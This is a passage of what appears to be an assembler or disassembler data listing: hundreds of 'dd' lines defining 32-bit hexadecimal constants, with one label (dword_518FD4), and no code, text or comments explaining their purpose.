		dd 35160705h, 5DA64020h, 34007A12h, 78A5B897h, 0E2674h
		dd 550AEEDCh, 0BAD540D9h, 6552C000h, 24685BC7h,	0EC5F7081h
		dd 22910F9Dh, 53407DBBh, 0DEC5BF84h, 0F00F04B8h, 0E0394807h
		dd 0D093E369h, 215007F2h, 0E037979Eh, 0E5DA0EAh, 17780576h
		dd 9C1B8E00h, 27777052h, 0CA1A036Ch, 665D2ECFh,	0D77E92E8h
		dd 0EC05C998h, 0C29C3951h, 1DD5C607h, 9FCF1130h, 28A10093h
		dd 0B1921E01h, 0A507C589h, 0AE263F13h, 485AEC42h, 425D3Ch
		dd 7B62880Ah, 0F0127003h, 91ACD50Eh, 0FCB701D9h, 0F824805Ch
		dd 0F6B9392Eh, 0AEA0968Eh, 0F71E5520h, 0F478DC18h, 0FC118A00h
		dd 0F38CAF05h, 8FC50E5Dh, 0CA80213Fh, 0AC409073h, 0A2BD70C2h
		dd 1D4CC89Fh, 7FAE0E22h, 5A8E4A1Bh, 0EA1A7181h,	2121809Eh
		dd 471D4B59h, 16E6003Ah, 93F039EFh, 960085ACh, 0D45104FEh
		dd 0B82962F9h, 837300B1h, 0E7EBAEB5h, 6400C9BDh, 0E30FE54Dh
		dd 3F47E6AFh, 0E0CC6A29h, 2680592Ah, 33784B05h,	0EFE867B0h
		dd 29C09384h, 1A7B1B94h, 2158A0A4h, 1D40189Bh, 0FB89037h
		dd 28A4D0E8h, 64A88C00h, 0E0185D99h, 0CA7C1C98h, 1CE5807Ah
		dd 15A9FC8h, 43D3BB00h,	63D54507h, 10DD00A6h, 3D2BFC51h
		dd 0D41C78D8h, 0A5404AF0h, 0C2F90E9Ch, 6083004Ch, 0CCFE174Bh
		dd 852AE6BBh, 7A00A841h, 0C5F56143h, 655A3E97h,	40A609BDh
		dd 616BDAF0h, 4700FE2Ch, 648DF0FAh, 7D8E6E8h, 9A0B6A0Fh
		dd 810C94Dh, 0A400D03Dh, 0B7BEEC75h, 0CC8EC49Eh, 1F216F08h
		dd 64A4C801h, 0EEB6A209h, 77858C51h, 0E4E80AF8h, 82E200C9h
		dd 2D0F24AFh, 3B00D5FAh, 0F93915CEh, 188B59BAh,	38436257h
		dd 0EA185D7Ch, 3649A1B3h, 460F01F6h, 0D7AE1A1Bh, 0F1099815h
		dd 2DD621h, 0ECB55A0Fh,	8BA796C1h, 58114B02h, 8CCE6DA8h
		dd 0E98360D4h, 48CD408h, 1B4C0FFCh, 5E38612Ah, 0F143400h
		dd 74BF3900h, 3B3E3689h, 0A5720A47h, 0BBA838DFh, 6F230201h
		dd 0D9FB9D4Ch, 8C44444h, 0B9C05AA4h, 46EC78A4h,	6922B6h
		dd 0ABA4D110h, 1B45DF2Dh, 0BEAE5A00h, 0C943FD1Fh, 3D6E079Fh
		dd 72683E4Fh, 0F8B083BBh, 0FC116146h, 79884FC5h, 616E7D83h
		dd 75B5A010h, 0C36C0021h, 168CDE54h, 7960B070h,	0E517F560h
		dd 0C81869CFh, 49684500h, 6214F6F2h, 1C98F4D5h,	0DDC0769Bh
		dd 4E3A1716h, 39DE3A3Bh, 5021D430h, 0C9009B2Dh,	5B8FD1A4h
		dd 1E7A733Dh, 0C0294F32h, 510985C5h, 0CD19E08Bh, 2F6042C2h
		dd 0BAE67518h, 394F1610h, 1CF383C4h, 1AC0EC9Ch,	4A143D50h
		dd 0C12A0D37h, 885881F1h, 16AF7C0h, 0DF82C27Ch,	0E0282689h
		dd 9FFB844h, 5F4C66BDh,	0A8962007h, 0C1F1550Fh,	0FDDB4B8Eh
		dd 525D7230h, 131330DFh, 12600A0Fh, 2AE15030h, 3C2B0F00h
		dd 0A5B675DEh, 64745DD0h, 5B32C506h, 2914C04Bh,	23903D05h
		dd 14802014h, 90E716DFh, 37AF7EE3h, 370E80B6h, 3B08F802h
		dd 9851E1h, 0B056E5D8h,	8CA1A44Fh, 480918D1h, 0E2293C0Fh
		dd 20DF405Ch, 8CF0260Fh, 7F2C8D49h, 6836EE00h, 532AA223h
		dd 0EA7CEC39h, 475C026Ah, 9C4AC16Dh, 50B4C848h,	2D215498h
		dd 61588186h, 185FC5FEh, 4083887Ch, 0A3236100h,	43DF0FD0h
		dd 0A9293856h, 510ADC8Ah, 2C202D0h, 0A48E5C8Fh,	2F686411h
		dd 8617260h, 8899C57Bh,	61A181C7h, 4EF4B9DDh, 2500006h
		dd 0D0C78A1Fh, 431F7E65h, 9DC32762h, 2351084Fh,	4C013160h
		dd 7FC51261h, 8F889E18h, 0B610A94h, 40B8E631h, 88EDC93Bh
		dd 0B19D50DDh, 215E5464h, 0F7805E3Ah, 96C769CAh, 62C812A4h
		dd 571440AEh, 92A6DE98h, 5801FFEAh, 34C26869h, 4C30535Bh
		dd 0BC048C41h, 0DEEC79A4h, 3206062h, 6E5A4D4h, 22A8BA28h
		dd 4A001950h, 8C3F06C1h, 2670134Bh, 1024904Ch, 415310E4h
		dd 39B91B05h, 29D80FABh, 2BF34A83h, 25A803E5h, 0F2E00538h
		dd 0D403213Bh, 711FB43Dh, 2248008Dh, 43FBEA4Bh,	20F9D6Dh
		dd 81D0C1A6h, 28ADB12Ch, 6DB72DDh, 5C552940h, 493E58F7h
		dd 9FB689AFh, 0B259018Ah, 0C450AC8Ch, 77BF12A7h, 2B4600FFh
		dd 0C5AF979Ah, 0A502ADEAh, 2A8BE0B6h, 29C0A09Ch, 0A1B479E1h
		dd 28C417D0h, 0B1F564B9h, 0C8C0CBCCh, 5E7CC0A7h, 40786A8h
		dd 0FD71B63Dh, 433F0241h, 79C99450h, 9D49083h, 411F5CDDh
		dd 29ECFCA0h, 0A490A9C5h, 0A657D503h, 59A2A8Dh,	0F9EC76A9h
		dd 5BC44F42h, 0A969D062h, 4AAAB881h, 10E7E6F2h,	0DC608844h
		dd 1B09C995h, 0A087A9D1h, 0A6605C20h, 40BA36CBh, 9A0A5170h
		dd 0DCFCB816h, 0D593A83h, 0A5200610h, 189A2890h, 0E6F2FF00h
		dd 99115F46h, 4C20C249h, 3C52C4A5h, 0A7B6EA18h,	0BDC9D9h
		dd 92AB801h, 8CE448Bh, 4E97404h, 8CC0DD13h, 608D115Eh
		dd 0B2294843h, 0B9A03B62h, 7F00EB12h, 369A5CD6h, 0E40C9839h
		dd 475E007Bh, 0E21C101Eh, 23003878h, 9F72B24Eh,	22469h
		dd 9237A843h, 0CABA6DB4h, 0A3E96000h, 0E2973D29h, 0C08A004Dh
		dd 93C6A74Ch, 720041A9h, 0F13491FCh, 1EEA2E44h,	409AD1E4h
		dd 8BB3F54Ah, 300EC7Ah,	5C96F47Fh, 3A3DF51h, 0F07B400Fh
		dd 59D0A8C8h, 0F7005863h, 776B47B3h, 7C1160D1h,	4C2B075Dh
		dd 80635C50h, 0A99FF5C4h, 222A31C0h, 0C2A515h, 9DE1B6ACh
		dd 94F27FB9h, 419FD800h, 265D3E9Ah, 769E07EFh, 0A0190h
		dd 0B3BE5884h, 89B90900h, 79A259D7h, 143A53E2h,	6D8E55C0h
		dd 7301DF66h, 0FD859075h, 83011F6h, 43A9C079h, 0FB3AB17Bh
		dd 0F0487D06h, 60084DE7h, 53392144h, 2800CFB1h,	3D8CC91Eh
		dd 0A4F151h, 7FD4D2E0h,	0EA5B0517h, 0CDD69F03h,	0B08DA5B7h
		dd 0F04C710Ch, 11B40350h, 0F9025CFBh, 1C801ED5h, 85BEC03Dh
		dd 0D7048C3h, 7F30DC1Dh
		dd 985415h, 90AC2B28h, 374F2Dh,	0A1F1F087h, 6F7D9DD1h
		dd 48F37AFAh, 660A67B4h, 0C041BFA7h, 7FB45701h,	2183F264h
		dd 0F6A202F9h, 68EE3CD0h, 0ED2CDC1Dh, 631808h, 44A25543h
		dd 0E8005876h, 7BCB0FEBh, 3D172EDh, 0CF8E7461h,	0E07F3B48h
		dd 9B365C0Ah, 0F181E4E3h, 580DB5F5h, 909F10C0h,	0DF08D094h
		dd 2D4E2060h, 0E1139EB5h, 3A0589CDh, 8C102C23h,	0BC600A88h
		dd 0DA8F9447h, 895D801Ch, 1673219h, 4FE61070h, 0F822296Dh
		dd 0D407751Eh, 0D0E461CDh, 0FF3BA710h, 1AF00FBh, 0DD39E330h
		dd 0AC01E17Fh, 8D9EA344h, 0F8304FA9h, 14CE074Bh, 70A4427Ch
		dd 0CB30C6ACh, 0A760BE00h, 0DC4CF759h, 0EF7397h, 0F60E514Bh
		dd 5BB09AC3h, 968D3Eh, 7C186ABCh, 0F899A778h, 957B2850h
		dd 2124430Ch, 0AD988867h, 4377344h, 4BF2385h, 23E00261h
		dd 0D1B601D2h, 0A9009855h, 0E67489EEh, 2C249700h, 5794C9D5h
		dd 0E04E3017h, 0A17E5020h, 0BA4C281Dh, 5C695898h, 0C7B874D7h
		dd 448DA239h, 16A8117h,	0F285E93Eh, 19867240h, 5700862h
		dd 0FA6003E1h, 619E0FC3h, 21F1F9F0h, 18118320h,	0C047D0F6h
		dd 0D96B83Bh, 80FFE9F2h, 0CFA9C3C9h, 0DB070188h, 210E80BEh
		dd 0CD41B4F5h, 82D2EED9h, 0D7D84E99h, 0B25F400Dh, 440E0033h
		dd 0FC6F91FBh, 70C0C0B3h, 3AD8DB86h, 34F189Ah, 578BD8DCh
		dd 0E9527F00h, 7E854CCh, 8070C0BCh, 600AA566h, 0CDEFF100h
		dd 501AB953h, 208467D7h, 0ED8AC036h, 0F430D59Eh, 95FFD1CEh
		dd 0B6EA9Bh, 0FBDB5869h, 9A0F466Ch, 480E7300h, 0EB2B57FDh
		dd 0DF7F06h, 6A725D54h,	0D0E917C7h, 7F131A03h, 186B28DEh
		dd 0E1B9EF51h, 100081DAh, 91D96AABh, 5C343CB6h,	1E015157h
		dd 0EF338C4Dh, 4EBBC86Ch, 48FFA128h, 0DBC9FAA0h, 2E546430h
		dd 5AB0ABAh, 0A9213CEEh, 0D6F600F4h, 6E7D9C5h, 76DC4900h
		dd 0B3A539F6h, 0A485296Bh, 0D08FFD04h, 6818CA80h, 52FFAB04h
		dd 0D2165B03h, 71F0E4E0h, 0D215800h, 0F36F62EDh, 13AB044Eh
		dd 8375C852h, 2921CDACh, 20690455h, 422F08FDh, 922CED1h
		dd 3BF42259h, 215C6B22h, 2AC9716h, 6F2882ADh, 20072403h
		dd 80A6F23Eh, 6C8061A1h, 0BB640058h, 11ABF37Bh,	0FC007107h
		dd 0EEE253A2h, 88FF20h,	0CF75B531h, 2F9EF4F8h, 2177830Fh
		dd 0A1CB0076h, 3378F6h,	8E939215h, 7CBFB24Fh, 51866D0Eh
		dd 84B8408Ah, 1EAE54F1h, 70B1746h, 80A9BEDEh, 3E3AA299h
		dd 0AF5AF3F6h, 48B5E0h,	1FECE2ACh, 796C3566h, 6E745A07h
		dd 23B0140Ch, 44D462h, 4B108A4Ch, 72AC83BEh, 9A293700h
		dd 0D54A68CCh, 0DF760041h, 0EC3F47D2h, 0F300880Dh, 70333CCFh
		dd 0EA19F98Ah, 0CC30143h, 0AA9B6A1Dh, 185FF885h, 0F40A3777h
		dd 0F875EEA0h, 5D6A580h, 4C2794h, 363E192h, 0CBEB6156h
		dd 0F153731Eh, 8BDC8680h, 0AC520DBh, 8E1DAD25h,	0C3BC0CC8h
		dd 1003D710h, 1F2CE18h,	0CD54D9D5h, 3D32824h, 939FB852h
		dd 60134D2Ah, 721DD4BDh, 48E880BAh, 0DB9A2F0Fh,	129D005Dh
		dd 4C867782h, 0DF00C37Fh, 4357494Fh, 75DCB16h, 0E1C4F251h
		dd 3427D5h, 0B12B2DAEh,	6D0E931Ch, 5FE2AD40h, 730F7C2h
		dd 0CAD15240h, 683E50A5h, 633CF6C8h, 0CC7980EAh, 17549339h
		dd 6FE23BF5h, 1AC02D80h, 71124BA7h, 0E0152400h,	63E3B33Eh
		dd 0A44C0E82h, 55C15717h, 43BF6B8Ah, 0FBD8589Ch, 2F00D926h
		dd 7C62BD77h, 0C0114EE8h, 945BCCD0h, 0F100310Dh, 0CA6B590Bh
		dd 0F4EB7FDAh, 6FFF005Ah, 8774D98Dh, 0AD1D6612h, 0B1923372h
		dd 0E34A2C07h, 0BE1DE721h, 28200ADDh, 0EB8B0001h, 97CA223Dh
		dd 85015C18h, 48D7968Ch, 6C0EF09h, 0EC9C07C5h, 531B7FD3h
		dd 0DDA80D1Eh, 8B00D694h, 0BEC3D5CFh, 7AC4F4Dh,	545EF7E9h
		dd 80E5F74Eh, 0B0523A1Ah, 4FC7FB00h, 0AE48B315h, 0EE11008Bh
		dd 3AD0C481h, 7C007293h, 2B0E35BEh, 137F254h, 0ADC30F9Ch
		dd 203BED97h, 0D444912Ch, 0BCD63EA8h, 6C0FE680h, 0B73EA103h
		dd 0AB297F0Eh, 0CB39E034h, 382517AEh, 0BE01B5E6h, 289ACE6Fh
		dd 0E0002480h, 5504D0E7h, 779BFB00h, 7853CCDBh,	2CF40039h
		dd 80B34617h, 68004C2Ah, 9D526D4Bh, 99ABDCh, 0E033981Fh
		dd 836330DEh, 0F4092900h, 1920B8AEh, 92C200A7h,	6EE4B037h
		dd 79009C3Bh, 0E769367h, 428DF43h, 4D76C94h, 0AB80E034h
		dd 8819CA26h, 79C91D00h, 3E8290h, 0C003F9E5h, 14BAD871h
		dd 256EDC00h, 8AAD89B8h, 0D26403E3h, 67F27E2Dh,	0DF5BFDD8h
		dd 0DB7F7402h, 4001A0A3h, 25AA46h, 0CCF342B0h, 534FB6F7h
		dd 0E02EB21Dh, 3EBAF2C0h, 450361Eh, 6A3CB09h, 0CC77C2EBh
		dd 37AFA490h, 0F3C23F00h, 0CFCD56ACh, 0DF2403FDh, 786A9ED0h
		dd 4D250DE0h, 0B54AA00h, 35603AE3h, 1640029h, 0C926DD96h
		dd 0CB28947Bh, 0BB10E0BAh, 1270A520h, 3508EF6h,	9CBCE5E4h
		dd 0C4CA03C1h, 0D0A03B1Dh, 10063FBh, 647B579Eh,	7D19CF41h
		dd 0C79A00D0h, 7EDDE765h, 9575FA12h, 17EDF700h,	517D6A29h
		dd 0B9B00DCh, 8A288F14h, 0C600359Dh, 0D58858DAh, 65A032h
		dd 9E996D63h, 190D0BCAh, 0CC1C710Fh, 55037F17h,	0D0FFBABDh
		dd 7E26B9h, 0F0282ED8h,	90459705h, 0FE61320Eh, 6501FE12h
		dd 55471BBDh, 0CE412080h, 0F124F2A4h, 15C5DE0Fh, 2A3403CCh
		dd 0D1069861h, 0A0F703E4h, 854CE6C0h, 482C81C4h, 9CE03B5Ch
		dd 41D700A7h, 0F18E83B5h, 6378B805h, 10585600h,	9DDD6F6h
		dd 6D290344h, 0A94D4BD5h, 0EF95FCA0h, 80549900h, 0DFA396Eh
		dd 0E6E300ADh, 0BF0B5501h, 411C082Ch, 11C0EF24h, 0FB6D28DBh
		dd 0FAC900E8h, 681B318h, 963835F9h, 8ABA9E92h, 64AE3A00h
		dd 2D77653h, 39CF6DE7h,	0A240F0EDh, 0ECFE3CA2h,	0DC9B031Fh
		dd 463BE3C0h, 0CDDDE8h,	0AD7BEE5h, 95F95421h, 337A100h
		dd 0C805407Bh, 9FF10099h, 245E68AAh, 3E00BC78h,	0E9216FBDh
		dd 3E673D3h, 2ECB9311h,	0F200206Dh, 77C3EAB1h, 0BE48C5h
		dd 0ECD71F57h, 178249B0h, 0DD007EE0h, 6237CF69h, 16A459Fh
		dd 951B2F3Dh, 70B4C828h, 0D7FE1430h, 0BB003898h, 0AF068229h
		dd 963F9DCh, 0FE2D0121h, 0F183A020h, 9094691h, 20C82E0Dh
		dd 10FA49C4h, 0BC7255h,	8BF9EC7Ch, 0AD2E7B6Ah, 91266803h
		dd 0C167A7C8h, 5AD05803h, 0AC78099Dh, 7405A28Dh, 4D00D0FCh
		dd 0E100BBE3h, 7D376F96h, 0EB1D285h, 0F38CFF0h,	28BFE6E1h
		dd 0B326E0C7h, 0A5514700h, 25D2DA35h, 854301A8h, 209E8381h
		dd 0E460D2A3h, 8E5CA456h, 5A409F10h, 4091EB54h,	0DDA00187h
		dd 34D8B9E5h, 3176F445h, 6BBD3C17h, 0D7F33100h,	0E98F72h
		dd 7D971A74h, 8668A9B2h, 0B5628A00h, 0C8ACE195h, 0E0663C7Ch
		dd 0DB92267Eh, 101FD4h,	0C155B44h, 8E01D27Bh, 0B01A6A47h
		dd 6930A1F2h, 5C3C0269h, 0A7DBDFD9h, 0ED7A8CE0h, 3054BD18h
		dd 3802F078h, 7E80A69Eh, 0D5C2743Fh, 37002E14h,	88827008h
		dd 0EFB97A92h, 0ADA470h, 0E2FF8ADDh, 0B497C012h, 0BDE43100h
		dd 3E658CC9h, 0E52F0E93h, 3800B9A4h, 3667AF5Fh,	55D8ED04h
		dd 668087A1h, 74B3D170h, 6F310098h, 2B0DD7AAh, 0C9F842BAh
		dd 0A83D1177h, 0EC390040h, 0E1E5A29Ch, 348A58E2h, 1B00B76h
		dd 6400FD28h, 1AA8B7B6h, 1B353000h, 0A0BCC384h,	2AF80012h
		dd 885A2D2Bh, 0DC009996h, 0F04183Ch, 9A976Fh, 418C08C8h
		dd 0B3EA0501h, 841DC898h, 8142314Fh, 4165E574h,	10F433ABh
		dd 5DECC2h, 0C7643E25h
dword_518FD4	dd 0FA271BBCh, 0A6061307h, 0DEA08F95h, 4F27339h, 30C23492h
		dd 6598C025h, 4F3829CDh, 0D7CE0077h, 6DEFC6FAh,	0E160C44h
		dd 0FF2931CFh, 98B17B03h, 0AFE0D890h, 6AB13547h, 2C20DAECh
		dd 0D32303BCh, 9342DB2Ch, 8520A9D8h, 1761AA00h,	1F914473h
		dd 0ED070047h, 965C0A8Ch, 2100A86Eh, 3A9F372Bh,	979E1B3h
		dd 0CE2649C1h, 58786586h, 1722BF1Dh, 0AAEFD6C3h, 0DFA0E07Fh
		dd 75D70087h, 468A4130h, 0EB248247h, 0D800DCBBh, 5F630453h
		dd 0D6F500BDh, 0CB488BDAh, 0C200FD77h, 4D4ED1E1h, 0F1B57B3h
		dd 0F1ECA57Ch, 7F5D64E3h, 0F4DD84E8h, 5969A600h, 4755F07Bh
		dd 7C514054h, 44C53A29h, 100CD28h, 20998C41h, 5AFB0Fh
		dd 0D57338EDh, 64195E36h, 80321E03h, 90793B9Fh,	2422EAEFh
		dd 17144FDBh, 1EA82C7Ch, 13D77B00h, 18FC38D3h, 0C6D00CE8h
		dd 59AEA341h, 104A148h,	6EB6E7A7h, 5BE4DB7Bh, 0BDD4004Ah
		dd 6BF8A83Eh, 6DE23F79h, 0CBCFC90Bh, 0BE1800EAh, 0B44FE5Eh
		dd 4E368AEEh, 0C968F023h, 4D62D9D0h, 3E56B3Dh, 36462C49h
		dd 0D25490D6h, 0BA4BB3h, 0D59621C4h, 0A725ABE4h, 0A1CC005Fh
		dd 0FA576E09h, 94013E78h, 408EAEh, 416A1999h, 24015ADEh
		dd 4B8676F3h, 0E4641CCFh, 0CB220ED7h, 1020487Eh, 31D2718Eh
		dd 0F003BEF8h, 0F5941BF8h, 24789E4Ah, 34C939Fh,	0B115ADC9h
		dd 0B2B3B803h, 24CDECE7h, 14CFCC9h, 71DEC475h, 0EE9C5374h
		dd 6EFE26D0h, 7DCFE0A0h, 834C2B00h, 719BB313h, 46741E4Bh
		dd 0E8E340BEh, 0AD318424h, 0D2FD100h, 7C931C14h, 63CD0F98h
		dd 0AA6FA829h, 19268B40h, 3F1CF615h, 0C340A9BFh, 0B7CE29F1h
		dd 43A10038h, 0DC472BEh, 0F600D164h, 218E7167h,	792CDCA7h
		dd 35B73F32h, 91BA0480h, 9B3DF053h, 1DB4DE09h, 0A12700E3h
		dd 82306Ch, 28A661E4h, 0BCB01E99h, 1B50A500h, 0A3C16256h
		dd 5EB10002h, 0E9CDC9C0h, 0D078468Fh, 0F7A9F003h, 50FAF606h
		dd 329C8AEh, 16D55C6h, 30008DD0h, 1173A891h, 12615116h
		dd 8B3D4Fh, 558DB5FCh, 0E43CAA70h, 6EBD83BBh, 0D8D9BA79h
		dd 76A8559h, 42401639h,	46B380EDh, 9D00E150h, 79E2537h
		dd 0FE19ACh, 75DA215Bh,	1DD73899h, 0A282DF50h, 17F86A09h
		dd 903093FBh, 858BE5h, 0BE92B5FCh, 0C28D28E2h, 2FF4AA00h
		dd 0EC81ED62h, 13C15877h, 82B5D51Eh, 4F8BAC53h,	28B40C41h
		dd 0C3E7004Ch, 8DAAC99Eh, 0EF2E0097h, 357E013Eh, 66007A8Bh
		dd 0F167A094h, 3C9ED08h, 0BAF9D5C6h, 40D8D0C5h,	5300AE4Ch
		dd 0D7F4D852h, 19A7Fh, 0A2F7BD2h, 2972036Bh, 13A42C12h
		dd 5D2D3080h, 9B93001Eh, 0A058127Bh, 0E0FCC709h, 839C6200h
		dd 0E630AF70h, 28270086h, 0A3EC0C2Dh, 5E009A7Dh, 217A8E5Bh
		dd 90DCF3E0h, 16DF3CA0h, 0E06AFB12h, 0DE0764C3h, 0BB2ACB2Fh
		dd 3DAAFCA0h, 0EA800049h, 0A3D4D5C4h, 8800CC25h, 0E19F5609h
		dd 2F1EED2h, 5216FFEDh,	0F38F32ABh, 7AE25EC0h, 0F4011BDEh
		dd 71C0235Dh, 8860409Fh, 57742C6Bh, 98F30208h, 0AC808ED1h
		dd 641AB578h, 0E77538h,	0E5D5CD84h, 5D8F13BFh, 3201185Dh
		dd 854B6D9Dh, 555F61Dh,	8480C74Ah, 0C03058E9h, 776CC110h
		dd 1C03FCF5h, 27709FAEh, 55E3C80Fh, 82D00A6h, 2CF4D16Bh
		dd 0A9009E09h, 9AB5A2B0h, 0ECEBF04h, 5F2ADBA7h,	0EFCC83A0h
		dd 54909FCDh, 0AE6A6B00h, 0E10FC943h, 0E43C003Fh, 745DD591h
		dd 97008423h, 7E61CAFDh, 450C17Ah, 0A2BE721Dh, 3738D03Ah
		dd 531C73B0h, 80BF826Fh, 467EF00Eh, 502B1E23h, 712FCD6h
		dd 19EB18B5h, 0AF66B12Ah, 368C401h, 89C5CA07h, 2CB0C444h
		dd 3C7C0B62h, 71004F58h, 0CB5D8088h, 3BE2272Eh,	0EE674213h
		dd 9354C700h, 9703A46h,	0A8C38143h, 0BB8DA480h,	0F898A0FDh
		dd 0BA36400h, 5170B6C5h, 0C0075046h, 169A30D0h,	0E37A4FB9h
		dd 0B8AD4C00h, 0B4507361h, 23F83098h, 0EFE77720h, 5C0E68B0h
		dd 60521D71h, 8ED9F250h, 913D0054h, 42D03524h, 830FE8B4h
		dd 9499D633h, 8A571DD4h, 1186320Dh, 794C96F8h, 44C7191Bh
		dd 0C46DFE4Dh, 9A72D399h, 0B4784026h, 2095F500h, 0CE0FF8FDh
		dd 0BEC03B20h, 5A70D1DBh, 0C0D52900h, 124EBB05h, 0F5250445h
		dd 0E0E210A0h, 0C00EBC0h, 0BA89817Fh, 0B261ADE4h, 0F9F1F24h
		dd 11681845h, 422CE2A3h, 78302FAEh, 9E9F70Ch, 0DD95FD6Ch
		dd 61255C80h, 42E24BFh,	45033256h, 3DFBBEFEh, 4700B120h
		dd 0B8D95844h, 3006C16h, 0B4E82E43h, 6E8019h, 0FFFA9E5Dh
		dd 0D19F3CEEh, 0F7BD330Bh, 221041F9h, 0C0809029h, 0DE5CB2C4h
		dd 0F9458D0Bh, 0B9D820E9h, 2F98BCh, 52CAC9F2h, 0E85ED7C0h
		dd 0EE974B0Eh, 3A0840DEh, 485B85Bh, 215FB60Ah, 9517C02Ch
		dd 9E00C9F4h, 0AC67D525h, 36D937h, 6A779FD8h, 87D28475h
		dd 0AA981374h, 7EAE270Eh, 0DC7C80BCh, 7A36A56Ah, 61850143h
		dd 6C8C5779h, 0EF0068C8h, 5182B421h, 0E118D6EAh, 44F83501h
		dd 7920EDC9h, 7A900EBEh, 4D00AF92h, 0DE8014DDh,	75CE9600h
		dd 5EF2510Ah, 0D2520731h, 40981269h, 0E546288h,	2B75E100h
		dd 9359DD96h, 0D87A30C0h, 0CD455311h, 0FCE88502h, 0E15DAE15h
		dd 0B2F8C328h, 413C00F7h, 339C63Fh, 0CD00CBC7h,	9CF4EB08h
		dd 5EF04Dh, 0CE4853BFh,	3427E36Fh, 3DA4DB00h, 99F6F356h
		dd 39575ACh, 8B40034Fh,	72A0092Dh, 0CB00D1E0h, 45D71F3Dh
		dd 0D5418Fh, 3EC26AA5h,	53A1449h, 988B9000h, 88342035h
		dd 8350C755h, 440EE71h,	885B97Ch, 653AF1Dh, 6B9F21F0h
		dd 37831301h, 0B60441DCh, 0A79B1h, 0B0D094h, 3E05D3C0h
		dd 28F3DC66h, 542A2107h, 0E06F26DFh, 0C37CF02Fh, 0BA020088h
		dd 4DA91AEAh, 4B07D93h,	84B6BF04h, 0ECC58D6Ch, 0B4904Bh
		dd 601CACD0h, 0D898005Fh, 0F043B0B6h, 0C7E032C2h, 0EF07807Eh
		dd 0E95162DAh, 3C5BB210h, 7EEC0052h, 4F0C5F9Ah,	0A600A1D5h
		dd 43B765D3h, 3CD6FB85h, 758F1A58h, 0F0E0334Dh,	1B64DD4Ch
		dd 0E2766900h, 0FCC92D53h, 3CA0395Ah, 407B541Fh, 81ADD851h
		dd 0D0005FF3h, 0C403290Ah, 3AAA19h, 46852C94h, 0A2CB4749h
		dd 0BD59D100h, 37D623E8h, 0C3450080h, 0BF2F565h, 10C08B5Fh
		dd 0EEB8A152h, 54F300E5h, 0E78C3B02h, 2F02EAECh, 2575C59Dh
		dd 0BCE44860h, 9B08C04Fh, 0D3CE3B68h, 7302DA00h, 90F7E648h
		dd 0E5302624h, 0BF8E003Ch, 75A8BDA2h, 1C798B70h, 4BEAC20Fh
		dd 66EC8093h, 62FD53h, 83318295h, 8AD0C44Dh, 0F36383Ah
		dd 0AEA2104Ch, 5052E0F0h, 0F261DADh, 0ABB65E72h, 24D9F380h
		dd 6B01F57Bh, 8AA5FAEEh, 0D8F3ED0Fh, 7941ADh, 45683E3Fh
		dd 7AE37FE0h, 44496D1Dh, 6E07A580h, 90C19Ah, 8ACB5E47h
		dd 0A6D4F867h, 0C2434509h, 0BA2C200Bh, 1310647Bh, 42DE3DD2h
		dd 581BB98h, 505EDC60h,	19B50630h, 48FD380h, 4AA603B0h
		dd 0E7E8C02Bh, 881C5F0Fh, 98B0CEF2h, 2C126A4Eh,	13FDA231h
		dd 25C8013Ch, 0C99A48EDh, 8EF489FFh, 0D2160015h, 18433876h
		dd 90B5AF86h, 30919A56h, 4C225828h, 45412592h, 58C35C80h
		dd 3E00DE8Fh, 0B4F83A8h, 0F6A201E2h, 1F4176CCh,	7E843h
		dd 0A47898DBh, 9A35808Fh, 68E4308Eh, 6C82003Bh,	8798CEC6h
		dd 50C4EF0Eh, 5DC39AB8h, 0AA10000Dh, 0C81C94DBh, 590F5F04h
		dd 1DC3CC14h, 0A5F5D7C0h, 5C24AEB0h, 9A006513h,	3D72D375h
		dd 1213ED10h, 141F8DF1h, 0AC80640h, 10C4CB1h, 1930669Ah
		dd 0E4BD5D63h, 3B1FACE5h
		dd 1284D8E8h, 0C803616h, 0F72467h, 0F17793E3h, 0BFB797E6h
		dd 6B0B0D12h, 72322200h, 0D48E7Bh, 0D286209Ah, 0C40A30D6h
		dd 64E4EA0Bh, 364C0469h, 0EE1000FAh, 1D5C8196h,	1E972800h
		dd 9E1A8FC6h, 0D0C0043Dh, 0F492B61Fh, 0DA00B4ECh, 5B3768E6h
		dd 0B7E939h, 0F9248F96h, 1A5E2327h, 1FD0E83Fh, 318F30F3h
		dd 87A8291Bh, 0A4C79F1Ch, 93330CB0h, 79780052h,	0FAD3299Ah
		dd 0C32674BDh, 7D07C660h, 24E082B5h, 0FA6D3812h, 0E73109BAh
		dd 442070FFh, 0EEDB718Bh, 6C89AD09h, 0FA20006Dh, 7B492B2h
		dd 0A31D75C0h, 624FBF7Bh, 267DBBE0h, 1804BA63h,	1A367EBEh
		dd 29A40E0h, 70DF814Fh,	7460CDF3h, 61E03F82h, 31C33Bh
		dd 47AD716h, 0EAC85590h, 80834A0Dh, 616C8A7Ch, 96D72A16h
		dd 69F7CC00h, 3170F2Ch,	0F806AA02h, 4DE88973h, 7C1C841Bh
		dd 3C80D94Ch, 3EC803FCh, 0A7300009h, 0C74229CFh, 0A90444DDh
		dd 57E84631h, 4EE962C0h, 75770020h, 4C43E0E1h, 0F89091D5h
		dd 795D1501h, 569B9E7Bh, 98FC120h, 975FDB1h, 6F60EE8Eh
		dd 6D576829h, 6C340700h, 95A61A89h, 0E35B027Dh,	65AC4C71h
		dd 0F7333FC0h, 8A987600h, 1AD53D24h, 0B3085811h, 0B42B017Fh
		dd 2C57D6CEh, 2803C922h, 0AC600020h, 37E146C5h,	6A55009Fh
		dd 7A811D84h, 0E40042D6h, 0A9085D03h, 0A61D428h, 0A7F2D311h
		dd 0FC7100F8h, 7CF1F617h, 0AF053092h, 0E9CF1C9Ah, 506208C1h
		dd 603CE8E9h, 285EB7A0h, 0BD029502h, 8051299Ch,	1F21C0DCh
		dd 5C62E4AFh, 277FC1ADh, 0E00EF7C6h, 0C4471200h, 0C800AA8Ch
		dd 806D085h, 5D382Bh, 6FF7F12Dh, 0D9E84EC9h, 5CCAF000h
		dd 0C62E958h, 0AA6E5809h, 0EC89EA00h, 0A3E5749Ah, 0FCF34100h
		dd 0E01E952Eh, 0A881007Eh, 80F696A5h, 0B008898h, 8AFA436h
		dd 0E83B130h, 2E3D81CDh, 6E761E82h, 0D7FC0450h,	78CC0F2Ch
		dd 0B605AE00h, 0ECBF595h, 99AA264Ch, 852434C1h,	289Fh
		dd 0FE77D9DAh, 5CC2911Bh, 431CA47Fh, 0EC8F030Ah, 593D73B3h
		dd 0ACD1006Bh, 22236FD0h, 0EE19C042h, 4A20C8B6h, 41013101h
		dd 0C2371DDh, 4B81052h,	723B077Ah, 44A32D41h, 180C4603h
